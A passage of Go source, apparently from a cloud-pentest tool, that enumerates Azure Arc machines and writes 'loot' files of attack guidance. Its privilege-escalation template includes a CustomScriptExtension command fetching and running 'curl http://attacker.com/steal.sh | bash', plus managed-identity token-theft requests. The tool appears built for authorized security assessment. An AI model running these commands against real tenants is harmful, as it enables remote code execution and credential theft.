module.PrintArc(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Main module method (AWS-style)
|
||||
// ------------------------------
|
||||
func (m *ArcModule) PrintArc(ctx context.Context, logger internal.Logger) {
|
||||
// Multi-tenant processing
|
||||
if m.IsMultiTenant {
|
||||
logger.InfoM(fmt.Sprintf("Multi-tenant mode: Processing %d tenants", len(m.Tenants)), globals.AZ_ARC_MODULE_NAME)
|
||||
|
||||
// Process each tenant independently
|
||||
for _, tenantCtx := range m.Tenants {
|
||||
// Temporarily set module tenant context for row creation
|
||||
savedTenantID := m.TenantID
|
||||
savedTenantName := m.TenantName
|
||||
savedTenantInfo := m.TenantInfo
|
||||
|
||||
m.TenantID = tenantCtx.TenantID
|
||||
m.TenantName = tenantCtx.TenantName
|
||||
m.TenantInfo = tenantCtx.TenantInfo
|
||||
|
||||
if m.Verbosity >= globals.AZ_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Processing tenant: %s (%s)", m.TenantName, m.TenantID), globals.AZ_ARC_MODULE_NAME)
|
||||
}
|
||||
|
||||
// Process subscriptions for this tenant
|
||||
m.RunSubscriptionEnumeration(ctx, logger, tenantCtx.Subscriptions, globals.AZ_ARC_MODULE_NAME, m.processSubscription)
|
||||
|
||||
// Restore tenant context
|
||||
m.TenantID = savedTenantID
|
||||
m.TenantName = savedTenantName
|
||||
m.TenantInfo = savedTenantInfo
|
||||
}
|
||||
} else {
|
||||
// Single tenant processing (existing logic)
|
||||
logger.InfoM(fmt.Sprintf("Enumerating arc-enabled machines for %d subscription(s)", len(m.Subscriptions)), globals.AZ_ARC_MODULE_NAME)
|
||||
m.RunSubscriptionEnumeration(ctx, logger, m.Subscriptions, globals.AZ_ARC_MODULE_NAME, m.processSubscription)
|
||||
}
|
||||
|
||||
// Generate and write output
|
||||
m.writeOutput(ctx, logger)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Process single subscription
|
||||
// ------------------------------
|
||||
func (m *ArcModule) processSubscription(ctx context.Context, subID string, logger internal.Logger) {
|
||||
// Get subscription name
|
||||
subName := azinternal.GetSubscriptionNameFromID(ctx, m.Session, subID)
|
||||
|
||||
// Get resource groups (CACHED)
|
||||
resourceGroups := m.ResolveResourceGroups(subID)
|
||||
|
||||
// Get all Arc machines
|
||||
arcMachines, err := azinternal.GetArcMachines(m.Session, subID, resourceGroups)
|
||||
if err != nil {
|
||||
if globals.AZ_VERBOSITY >= globals.AZ_VERBOSE_ERRORS {
|
||||
logger.ErrorM(fmt.Sprintf("Failed to get Arc machines for subscription %s: %v", subID, err), globals.AZ_ARC_MODULE_NAME)
|
||||
}
|
||||
m.CommandCounter.Error++
|
||||
return
|
||||
}
|
||||
|
||||
// Process each Arc machine
|
||||
for _, machine := range arcMachines {
|
||||
m.processArcMachine(ctx, subID, subName, machine)
|
||||
}
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Process single Arc machine
|
||||
// ------------------------------
|
||||
func (m *ArcModule) processArcMachine(ctx context.Context, subID, subName string, machine azinternal.ArcMachine) {
|
||||
// Thread-safe append
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
|
||||
// Parse identity type to separate system-assigned and user-assigned
|
||||
systemAssignedID := "N/A"
|
||||
userAssignedID := "N/A"
|
||||
|
||||
if machine.IdentityType != "" && machine.IdentityType != "None" {
|
||||
idType := machine.IdentityType
|
||||
// Check for system-assigned identity
|
||||
if idType == "SystemAssigned" || idType == "SystemAssigned,UserAssigned" || idType == "SystemAssigned, UserAssigned" {
|
||||
if machine.PrincipalID != "" {
|
||||
systemAssignedID = machine.PrincipalID
|
||||
}
|
||||
}
|
||||
// Check for user-assigned identity
|
||||
if idType == "UserAssigned" || idType == "SystemAssigned,UserAssigned" || idType == "SystemAssigned, UserAssigned" {
|
||||
// Arc SDK doesn't expose user-assigned identity resource IDs like VMs do
|
||||
userAssignedID = "User-Assigned (ID not available via SDK)"
|
||||
}
|
||||
}
|
||||
|
||||
m.ArcRows = append(m.ArcRows, []string{
|
||||
m.TenantName,
|
||||
m.TenantID,
|
||||
subID,
|
||||
subName,
|
||||
machine.ResourceGroup,
|
||||
machine.Location,
|
||||
machine.Name,
|
||||
machine.Hostname,
|
||||
machine.PrivateIP,
|
||||
machine.OSName,
|
||||
machine.OSVersion,
|
||||
machine.Status,
|
||||
machine.AgentVersion,
|
||||
machine.EntraIDAuth,
|
||||
systemAssignedID,
|
||||
userAssignedID,
|
||||
})
|
||||
|
||||
// Generate loot
|
||||
m.generateLoot(subID, subName, machine)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Generate loot files
|
||||
// ------------------------------
|
||||
func (m *ArcModule) generateLoot(subID, subName string, machine azinternal.ArcMachine) {
|
||||
// Commands loot
|
||||
if lf, ok := m.LootMap["arc-commands"]; ok {
|
||||
lf.Contents += fmt.Sprintf("## Arc Machine: %s (Resource Group: %s)\n", machine.Name, machine.ResourceGroup)
|
||||
lf.Contents += fmt.Sprintf("az account set --subscription %s\n", subID)
|
||||
lf.Contents += fmt.Sprintf("# List Arc machines\n")
|
||||
lf.Contents += fmt.Sprintf("az connectedmachine list --resource-group %s -o table\n\n", machine.ResourceGroup)
|
||||
lf.Contents += fmt.Sprintf("# Show Arc machine details\n")
|
||||
lf.Contents += fmt.Sprintf("az connectedmachine show --name %s --resource-group %s\n\n", machine.Name, machine.ResourceGroup)
|
||||
lf.Contents += fmt.Sprintf("# List Arc machine extensions\n")
|
||||
lf.Contents += fmt.Sprintf("az connectedmachine extension list --machine-name %s --resource-group %s -o table\n\n", machine.Name, machine.ResourceGroup)
|
||||
}
|
||||
|
||||
if lf, ok := m.LootMap["arc-cert-extraction"]; ok {
|
||||
template := azinternal.GenerateArcCertExtractionTemplate(machine)
|
||||
lf.Contents += template
|
||||
lf.Contents += "---\n\n"
|
||||
}
|
||||
|
||||
// Add Kubernetes cluster documentation
|
||||
if lf, ok := m.LootMap["arc-kubernetes"]; ok {
|
||||
lf.Contents += fmt.Sprintf(
|
||||
"## Arc-enabled Kubernetes in Subscription: %s\n\n"+
|
||||
"# List Arc-enabled Kubernetes clusters\n"+
|
||||
"az connectedk8s list --subscription %s --output table\n\n"+
|
||||
"# Show cluster details\n"+
|
||||
"az connectedk8s show --name <CLUSTER_NAME> --resource-group %s\n\n"+
|
||||
"# List cluster extensions\n"+
|
||||
"az k8s-extension list --cluster-name <CLUSTER_NAME> --cluster-type connectedClusters --resource-group %s\n\n"+
|
||||
"# Get kubeconfig for Arc-enabled cluster (if authorized)\n"+
|
||||
"az connectedk8s proxy --name <CLUSTER_NAME> --resource-group %s\n\n"+
|
||||
"### Security Analysis:\n"+
|
||||
"# Check for:\n"+
|
||||
"# 1. Azure Monitor extension (potential log exfiltration)\n"+
|
||||
"# 2. Azure Policy extension (compliance enforcement)\n"+
|
||||
"# 3. GitOps extension (deployment automation - potential backdoor)\n"+
|
||||
"# 4. Azure Key Vault Secrets Provider (credential access)\n"+
|
||||
"# 5. Defender for Kubernetes (security monitoring)\n\n",
|
||||
subName, subID, machine.ResourceGroup, machine.ResourceGroup, machine.ResourceGroup,
|
||||
)
|
||||
}
|
||||
|
||||
// Add data services documentation
|
||||
if lf, ok := m.LootMap["arc-data-services"]; ok {
|
||||
lf.Contents += fmt.Sprintf(
|
||||
"## Arc Data Services in Subscription: %s\n\n"+
|
||||
"### Arc-enabled SQL Server\n"+
|
||||
"# List Arc-enabled SQL Servers\n"+
|
||||
"az sql server-arc list --subscription %s --output table\n\n"+
|
||||
"# Show SQL Server details\n"+
|
||||
"az sql server-arc show --name <SERVER_NAME> --resource-group %s\n\n"+
|
||||
"# List databases on Arc-enabled SQL Server\n"+
|
||||
"az sql db-arc list --server <SERVER_NAME> --resource-group %s\n\n"+
|
||||
"### Arc-enabled PostgreSQL\n"+
|
||||
"# List Arc-enabled PostgreSQL servers\n"+
|
||||
"az postgres server-arc list --subscription %s --output table\n\n"+
|
||||
"# Show PostgreSQL server details\n"+
|
||||
"az postgres server-arc show --name <SERVER_NAME> --resource-group %s\n\n"+
|
||||
"### Security Concerns:\n"+
|
||||
"# 1. On-premises database credentials accessible via Arc\n"+
|
||||
"# 2. Data exfiltration through Arc connectivity\n"+
|
||||
"# 3. Database backup access\n"+
|
||||
"# 4. Connection string exposure\n\n",
|
||||
subName, subID, machine.ResourceGroup, machine.ResourceGroup, subID, machine.ResourceGroup,
|
||||
)
|
||||
}
|
||||
|
||||
// Add extensions analysis
|
||||
if lf, ok := m.LootMap["arc-extensions"]; ok {
|
||||
lf.Contents += fmt.Sprintf(
|
||||
"## Machine Extensions: %s (Resource Group: %s)\n\n"+
|
||||
"# List all extensions on Arc machine\n"+
|
||||
"az connectedmachine extension list --machine-name %s --resource-group %s --output table\n\n"+
|
||||
"# Show specific extension\n"+
|
||||
"az connectedmachine extension show --machine-name %s --resource-group %s --name <EXTENSION_NAME>\n\n"+
|
||||
"### Common Extensions and Security Impact:\n\n"+
|
||||
"1. **CustomScriptExtension**\n"+
|
||||
" - Risk: HIGH\n"+
|
||||
" - Allows arbitrary script execution on machine\n"+
|
||||
" - Check for malicious scripts or backdoors\n"+
|
||||
" - Command: az connectedmachine extension show --machine-name %s --resource-group %s --name CustomScriptExtension\n\n"+
|
||||
"2. **AzureMonitorLinuxAgent / AzureMonitorWindowsAgent**\n"+
|
||||
" - Risk: MEDIUM\n"+
|
||||
" - Collects logs and metrics\n"+
|
||||
" - Potential data exfiltration vector\n"+
|
||||
" - Check Log Analytics workspace configuration\n\n"+
|
||||
"3. **KeyVaultForLinux / KeyVaultForWindows**\n"+
|
||||
" - Risk: HIGH\n"+
|
||||
" - Syncs certificates/secrets from Key Vault to machine\n"+
|
||||
" - Check which Key Vault is referenced\n"+
|
||||
" - Potential credential theft if machine is compromised\n\n"+
|
||||
"4. **DependencyAgentLinux / DependencyAgentWindows**\n"+
|
||||
" - Risk: MEDIUM\n"+
|
||||
" - Maps network connections and dependencies\n"+
|
||||
" - Useful for lateral movement analysis\n\n"+
|
||||
"5. **AzureSecurityLinuxAgent / AzureSecurityWindowsAgent**\n"+
|
||||
" - Risk: LOW (defensive)\n"+
|
||||
" - Microsoft Defender for Cloud integration\n"+
|
||||
" - Security monitoring and assessment\n\n",
|
||||
machine.Name, machine.ResourceGroup,
|
||||
machine.Name, machine.ResourceGroup,
|
||||
machine.Name, machine.ResourceGroup,
|
||||
machine.Name, machine.ResourceGroup,
|
||||
)
|
||||
}
|
||||
|
||||
// Add security analysis
|
||||
if lf, ok := m.LootMap["arc-security-analysis"]; ok {
|
||||
risk := "INFO"
|
||||
if machine.Status != "Connected" {
|
||||
risk = "MEDIUM"
|
||||
}
|
||||
if machine.IdentityType != "" && machine.IdentityType != "None" {
|
||||
risk = "HIGH"
|
||||
}
|
||||
|
||||
lf.Contents += fmt.Sprintf(
|
||||
"## Security Analysis: %s\n\n"+
|
||||
"**Risk Level**: %s\n"+
|
||||
"**Machine**: %s (%s)\n"+
|
||||
"**Resource Group**: %s\n"+
|
||||
"**Subscription**: %s (%s)\n\n"+
|
||||
"### Configuration:\n"+
|
||||
"- **Status**: %s\n"+
|
||||
"- **Managed Identity**: %s\n"+
|
||||
"- **Entra ID Auth**: %s\n"+
|
||||
"- **Agent Version**: %s\n"+
|
||||
"- **OS**: %s %s\n\n"+
|
||||
"### Security Risks:\n\n",
|
||||
machine.Name,
|
||||
risk,
|
||||
machine.Name, machine.Hostname,
|
||||
machine.ResourceGroup,
|
||||
subName, subID,
|
||||
machine.Status,
|
||||
machine.IdentityType,
|
||||
machine.EntraIDAuth,
|
||||
machine.AgentVersion,
|
||||
machine.OSName, machine.OSVersion,
|
||||
)
|
||||
|
||||
if machine.Status != "Connected" {
|
||||
lf.Contents += fmt.Sprintf("1. **MEDIUM RISK**: Machine status is '%s' (not Connected)\n"+
|
||||
" - Orphaned Arc resource\n"+
|
||||
" - May indicate deleted/decommissioned machine still registered\n"+
|
||||
" - Cleanup recommended: az connectedmachine delete --name %s --resource-group %s\n\n",
|
||||
machine.Status, machine.Name, machine.ResourceGroup)
|
||||
}
|
||||
|
||||
if machine.IdentityType != "" && machine.IdentityType != "None" {
|
||||
lf.Contents += fmt.Sprintf("2. **HIGH RISK**: Machine has managed identity (%s)\n"+
|
||||
" - Principal ID: %s\n"+
|
||||
" - Token theft opportunity if machine is compromised\n"+
|
||||
" - Check RBAC assignments: az role assignment list --assignee %s\n"+
|
||||
" - Certificate extraction possible (see arc-cert-extraction loot file)\n\n",
|
||||
machine.IdentityType, machine.PrincipalID, machine.PrincipalID)
|
||||
}
|
||||
|
||||
if machine.EntraIDAuth == "Disabled" {
|
||||
lf.Contents += "3. **MEDIUM RISK**: Entra ID authentication is disabled\n" +
|
||||
" - Machine uses local authentication\n" +
|
||||
" - Centralized identity management not enforced\n" +
|
||||
" - Enable with: az connectedmachine update --enable-azure-ad-auth --name " + machine.Name + " --resource-group " + machine.ResourceGroup + "\n\n"
|
||||
}
|
||||
|
||||
lf.Contents += "\n"
|
||||
}
|
||||
|
||||
// Add privilege escalation paths
|
||||
if machine.IdentityType != "" && machine.IdentityType != "None" {
|
||||
if lf, ok := m.LootMap["arc-privilege-escalation"]; ok {
|
||||
lf.Contents += fmt.Sprintf(
|
||||
"## Privilege Escalation: %s\n\n"+
|
||||
"**Machine**: %s\n"+
|
||||
"**Principal ID**: %s\n"+
|
||||
"**Resource Group**: %s\n\n"+
|
||||
"### Extension-Based Escalation Vectors:\n\n"+
|
||||
"1. **CustomScriptExtension Exploitation**\n"+
|
||||
" - If you have Contributor on the Arc machine resource:\n"+
|
||||
" ```bash\n"+
|
||||
" # Deploy custom script extension\n"+
|
||||
" az connectedmachine extension create \\\n"+
|
||||
" --machine-name %s \\\n"+
|
||||
" --resource-group %s \\\n"+
|
||||
" --name MaliciousExtension \\\n"+
|
||||
" --type CustomScriptExtension \\\n"+
|
||||
" --publisher Microsoft.Azure.Extensions \\\n"+
|
||||
" --settings '{\"commandToExecute\":\"curl http://attacker.com/steal.sh | bash\"}'\n"+
|
||||
" ```\n\n"+
|
||||
"2. **Managed Identity Token Theft**\n"+
|
||||
" - If you have access to the machine (RDP/SSH):\n"+
|
||||
" ```bash\n"+
|
||||
" # Linux: Extract managed identity token\n"+
|
||||
" curl 'http://localhost:40342/metadata/identity/oauth2/token?api-version=2020-06-01&resource=https://management.azure.com/' \\\n"+
|
||||
" -H Metadata:true\n\n"+
|
||||
" # Windows: Extract managed identity token\n"+
|
||||
" Invoke-WebRequest -Uri 'http://localhost:40342/metadata/identity/oauth2/token?api-version=2020-06-01&resource=https://management.azure.com/' \\\n"+
|
||||
" -Headers @{Metadata='true'} -UseBasicParsing\n"+
|
||||
" ```\n\n"+
|
||||
"3. **Certificate Extraction**\n"+
|
||||
" - See arc-cert-extraction loot file for detailed steps\n"+
|
||||
" - Certificates can be used to impersonate the Arc machine's identity\n\n"+
|
||||
"4. **Hybrid Runbook Worker Exploitation**\n"+
|
||||
" - If machine is registered as Hybrid Runbook Worker:\n"+
|
||||
" - Check: az automation hybrid-worker list --automation-account-name <ACCOUNT> --resource-group <RG>\n"+
|
||||
" - Can execute arbitrary code through Automation runbooks\n"+
|
||||
" - Runbooks execute with machine's identity/credentials\n\n"+
|
||||
"### Remediation:\n"+
|
||||
"- Review and restrict RBAC permissions on Arc machine resource\n"+
|
||||
"- Monitor extension deployments\n"+
|
||||
"- Enable Azure Policy to restrict extension types\n"+
|
||||
"- Use Azure Firewall to restrict Arc machine outbound connectivity\n"+
|
||||
"- Implement JIT access for machine management\n\n",
|
||||
machine.Name,
|
||||
machine.Name,
|
||||
machine.PrincipalID,
|
||||
machine.ResourceGroup,
|
||||
machine.Name,
|
||||
machine.ResourceGroup,
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
// Add hybrid connectivity analysis
|
||||
if lf, ok := m.LootMap["arc-hybrid-connectivity"]; ok {
|
||||
lf.Contents += fmt.Sprintf(
|
||||
"## Hybrid Connectivity: %s\n\n"+
|
||||
"**Machine**: %s (%s)\n"+
|
||||
"**Location**: %s\n"+
|
||||
"**Private IP**: %s\n"+
|
||||
"**OS**: %s\n\n"+
|
||||
"### Arc Connectivity Architecture:\n"+
|
||||
"1. **Outbound HTTPS** (TCP 443) to Azure Arc endpoints\n"+
|
||||
" - Arc machine agent initiates connection to Azure\n"+
|
||||
" - No inbound ports required\n"+
|
||||
" - Uses certificate-based authentication\n\n"+
|
||||
"2. **Required Endpoints**:\n"+
|
||||
" - management.azure.com (Azure Resource Manager)\n"+
|
||||
" - login.microsoftonline.com (Azure AD authentication)\n"+
|
||||
" - <region>.his.arc.azure.com (Hybrid Instance Metadata Service)\n"+
|
||||
" - <region>.guestconfiguration.azure.com (Guest Configuration)\n"+
|
||||
" - packages.microsoft.com (Package downloads)\n\n"+
|
||||
"3. **Network Security Considerations**:\n"+
|
||||
" - Machine can access Azure management plane\n"+
|
||||
" - Potential for data exfiltration to Azure\n"+
|
||||
" - Command & Control channel via Arc agent\n"+
|
||||
" - Monitor outbound connections for anomalies\n\n"+
|
||||
"### Attack Surface:\n"+
|
||||
"- **Arc Agent Compromise**: If agent is compromised, attacker gains Azure credentials\n"+
|
||||
"- **Man-in-the-Middle**: SSL inspection may expose Arc certificates\n"+
|
||||
"- **Network Pivoting**: Arc connectivity can be used to pivot from on-prem to Azure\n"+
|
||||
"- **Data Exfiltration**: Extensions can exfiltrate data to Azure Storage/Log Analytics\n\n"+
|
||||
"### Monitoring Recommendations:\n"+
|
||||
"```bash\n"+
|
||||
"# Check Arc machine activity logs\n"+
|
||||
"az monitor activity-log list \\\n"+
|
||||
" --resource-id /subscriptions/%s/resourceGroups/%s/providers/Microsoft.HybridCompute/machines/%s \\\n"+
|
||||
" --start-time $(date -u -d '7 days ago' +%%Y-%%m-%%dT%%H:%%M:%%SZ)\n\n"+
|
||||
"# Check for suspicious extension deployments\n"+
|
||||
"az monitor activity-log list \\\n"+
|
||||
" --resource-group %s \\\n"+
|
||||
" --caller <PRINCIPAL_ID> \\\n"+
|
||||
" --start-time $(date -u -d '7 days ago' +%%Y-%%m-%%dT%%H:%%M:%%SZ) \\\n"+
|
||||
" | jq '.[] | select(.operationName.value | contains(\"Microsoft.HybridCompute/machines/extensions/write\"))'\n"+
|
||||
"```\n\n",
|
||||
machine.Name,
|
||||
machine.Name, machine.Hostname,
|
||||
machine.Location,
|
||||
machine.PrivateIP,
|
||||
machine.OSName,
|
||||
subID, machine.ResourceGroup, machine.Name,
|
||||
machine.ResourceGroup,
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Write output (AWS-style writeLoot pattern)
|
||||
// ------------------------------
|
||||
func (m *ArcModule) writeOutput(ctx context.Context, logger internal.Logger) {
|
||||
if len(m.ArcRows) == 0 {
|
||||
logger.InfoM("No Arc-enabled machines found", globals.AZ_ARC_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Build headers
|
||||
headers := []string{
|
||||
"Tenant Name",
|
||||
"Tenant ID",
|
||||
"Subscription ID",
|
||||
"Subscription Name",
|
||||
"Resource Group",
|
||||
"Region",
|
||||
"Machine Name",
|
||||
"Hostname",
|
||||
"Private IP",
|
||||
"OS Name",
|
||||
"OS Version",
|
||||
"Status",
|
||||
"Agent Version",
|
||||
"EntraID Centralized Auth",
|
||||
"System Assigned Identity ID",
|
||||
"User Assigned Identity ID",
|
||||
}
|
||||
|
||||
// Check if we should split output by tenant (multi-tenant takes precedence)
|
||||
if m.IsMultiTenant {
|
||||
if err := m.FilterAndWritePerTenantAuto(
|
||||
ctx, logger, m.Tenants, m.ArcRows, headers,
|
||||
"arc", globals.AZ_ARC_MODULE_NAME,
|
||||
); err != nil {
|
||||
return
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// Otherwise, check if we should split output by subscription
|
||||
if azinternal.ShouldSplitBySubscription(m.Subscriptions, m.TenantFlagPresent) {
|
||||
if err := m.FilterAndWritePerSubscriptionAuto(
|
||||
ctx, logger, m.Subscriptions, m.ArcRows, headers,
|
||||
"arc", globals.AZ_ARC_MODULE_NAME,
|
||||
); err != nil {
|
||||
return
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// Build loot array
|
||||
loot := []internal.LootFile{}
|
||||
for _, lf := range m.LootMap {
|
||||
if lf.Contents != "" {
|
||||
loot = append(loot, *lf)
|
||||
}
|
||||
}
|
||||
|
||||
// Create output
|
||||
output := ArcOutput{
|
||||
Table: []internal.TableFile{{
|
||||
Name: "arc",
|
||||
Header: headers,
|
||||
Body: m.ArcRows,
|
||||
}},
|
||||
Loot: loot,
|
||||
}
|
||||
|
||||
// Determine output scope (single subscription vs tenant-wide consolidation)
|
||||
scopeType, scopeIDs, scopeNames := azinternal.DetermineScopeForOutput(m.Subscriptions, m.TenantID, m.TenantName, m.TenantFlagPresent)
|
||||
scopeNames = azinternal.GetSubscriptionNamesForOutput(ctx, m.Session, scopeType, scopeIDs)
|
||||
|
||||
// Write output using HandleOutputSmart (automatic streaming for large datasets)
|
||||
if err := internal.HandleOutputSmart(
|
||||
"Azure",
|
||||
m.Format,
|
||||
m.OutputDirectory,
|
||||
m.Verbosity,
|
||||
m.WrapTable,
|
||||
scopeType,
|
||||
scopeIDs,
|
||||
scopeNames,
|
||||
m.UserUPN,
|
||||
output,
|
||||
); err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.AZ_ARC_MODULE_NAME)
|
||||
m.CommandCounter.Error++
|
||||
}
|
||||
|
||||
logger.SuccessM(fmt.Sprintf("Found %d Arc-enabled machine(s) across %d subscription(s)", len(m.ArcRows), len(m.Subscriptions)), globals.AZ_ARC_MODULE_NAME)
|
||||
}
|
||||
Loaded 100 of 420 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user